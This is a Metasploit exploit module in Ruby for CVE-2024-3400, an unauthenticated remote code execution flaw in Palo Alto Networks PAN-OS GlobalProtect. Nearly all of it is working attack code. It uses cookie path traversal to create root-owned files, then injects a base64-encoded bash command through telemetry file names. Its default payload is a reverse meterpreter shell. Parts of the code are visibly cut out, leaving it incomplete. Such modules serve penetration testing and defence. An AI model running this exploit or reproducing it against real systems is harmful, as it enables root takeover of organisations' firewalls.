# This module requires Metasploit:  
# Current source:  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
def initialize(info = {})  
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that  
allow an unauthenticated attacker to create arbitrarily named files and execute  
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or  
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions  
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,  
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to  
one hour to execute, depending on how often the telemetry service is set to run.  
'License' => MSF_LICENSE,  
'Author' => [  
'remmons-r7', # Metasploit module  
'sfewer-r7' # Metasploit module  
'References' => [  
['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier  
['URL', ''], # Vendor Advisory  
['URL', ''], # Initial Volexity report of the 0day exploitation  
['URL', ''] # Rapid7 Analysis  
'DisclosureDate' => '2024-04-12',  
'Platform' => [ 'linux', 'unix' ],  
'Arch' => [ARCH_CMD],  
'Privileged' => true, # Executes as root on Linux  
'Targets' => [ [ 'Default', {} ] ],  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',  
'RPORT' => 443,  
'SSL' => true,  
'FETCH_WRITABLE_DIR' => '/var/tmp',  
'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created  
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log  
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests  
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected  
# Several 0 length files are created in the following directories during checks and exploitation:  
# - /opt/panlogs/tmp/device_telemetry/hour/  
# - /opt/panlogs/tmp/device_telemetry/minute/  
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/  
['TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']),  
def check  
# Try to create a new empty file in an accessible directory with the exploit primitive  
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory  
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"  
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively  
res_check_created = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)  
return CheckCode::Unknown('Connection failed') unless res_check_created  
res_check_not_created = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")  
return CheckCode::Unknown('Connection failed') unless res_check_not_created  
if (res_check_created.code != 403) || (res_check_not_created.code != 404)  
return CheckCode::Safe('Arbitrary file write did not succeed')  
CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")  
def touch_file(file)  
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location  
fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'headers' => {  
'Cookie' => "SESSID=./../../../..#{file}"  
def exploit  
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context  
# Since payloads cannot contain spaces, ${IFS} is used as a separator  
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"  
# Create maliciously named files in both telemetry directories that might be used by affected versions  
# Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.  
# It's possible that the payload will execute twice, but we've only observed one location working during testing  
files = [  
files.each do |file_path|  
vprint_status("Creating file at #{file_path}")  
# Must register for clean up here instead of within touch_file, since touch_file is used in the check  
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')  
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')